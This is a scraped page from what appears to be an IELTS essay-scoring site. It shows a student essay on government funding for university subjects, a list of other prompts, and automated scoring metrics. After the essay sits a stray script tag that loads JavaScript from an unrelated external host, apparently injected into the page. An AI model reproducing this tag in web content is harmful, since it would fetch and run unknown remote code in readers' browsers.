Modern societies need specialists in certain fields, but not others. Some people therefore think that governments should pay university fees for students who study subjects that are needed by society. Those who choose to study less relevant subjects should not receive government funding.
Would the advantages of such an educational policy outweigh the disadvantages
Nowadays governments offer financial support for certain amount of students in specific areas of education. Therefore, it rises a discussion about choosing the most suitable students, precisely, some people claim that a country can get better results if such funding will be given for the students who are teaching according to the demands of the modern life. In contrast, others insist on sharing government support among the students equally. In my opinion, it will be honest to give students financial support depending on their abilities, not only the study areas they chose, and I am going to explain my opinion with some facts below.
Firstly, it is undeniable fact that technological development of the world changes the content of jobs. I mean in comparison with previous years nowadays there are great demands for people in innovative areas, such as computer engineering, or information technologies etc. For instance, in our country the agricultural section was more likely to develop in the 1990s, so government tried to provide necessary facilities and financial resources to qualify workers in this sphere whereas today specialists in the industrial and information fields are more important than the indicated ones.
However, to my mind a number of disadvantages will be unavoidable if the government applies this policy, to be more precise, development only in certain fields may not result with the improvement of whole economy of the country. Furthermore, there may be great amount of students with specific abilities in less relevant subjects and discrimination between such students will probably cause negative effects on education systems.
In conclusion, taking account all indicated facts above I think following the idea given on the statement can be damage the education not improve it.
<script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2020-12-17 | farhodyusupov | view | |
| 2020-12-17 | farhodyusupov | view |
- The three pie charts show the changes in annual spending by a particular UK school in 1981, 1991 and 2001. 90
- Some say that it would be better if the majority of employees worked from home instead of travelling to a workplace every day Do you think the advantages of working from home outweigh the disadvantages 66
- The graph below shows the consumption of fish and some different kinds of meat in a European country between 1979 and 2004. 90
- The diagram shows how the Australian Bureau of Meteorology collects up-to-the-minute information on the weather in order to produce reliable forecasts. 70
- The charts below show the number of Japanese tourists travelling abroad between 1985 and 1995 and Australia's share of Japanese tourist market. 63
flaws:
Sentence-Sentence Coherence: 0.046 0.07
Attribute Value Ideal
Score: 7.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 9 15
No. of Words: 284 350
No. of Characters: 1499 1500
No. of Different Words: 166 200
Fourth Root of Number of Words: 4.105 4.7
Average Word Length: 5.278 4.6
Word Length SD: 2.862 2.4
No. of Words greater than 5 chars: 119 100
No. of Words greater than 6 chars: 101 80
No. of Words greater than 7 chars: 66 40
No. of Words greater than 8 chars: 44 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 31.556 21.0
Sentence Length SD: 17.746 7.5
Use of Discourse Markers (%): 0.889 0.12
Sentence-Text Coherence: 0.385 0.35
Sentence-Para Coherence: 0.661 0.50
Sentence-Sentence Coherence: 0.046 0.07
Number of Paragraphs: 4 5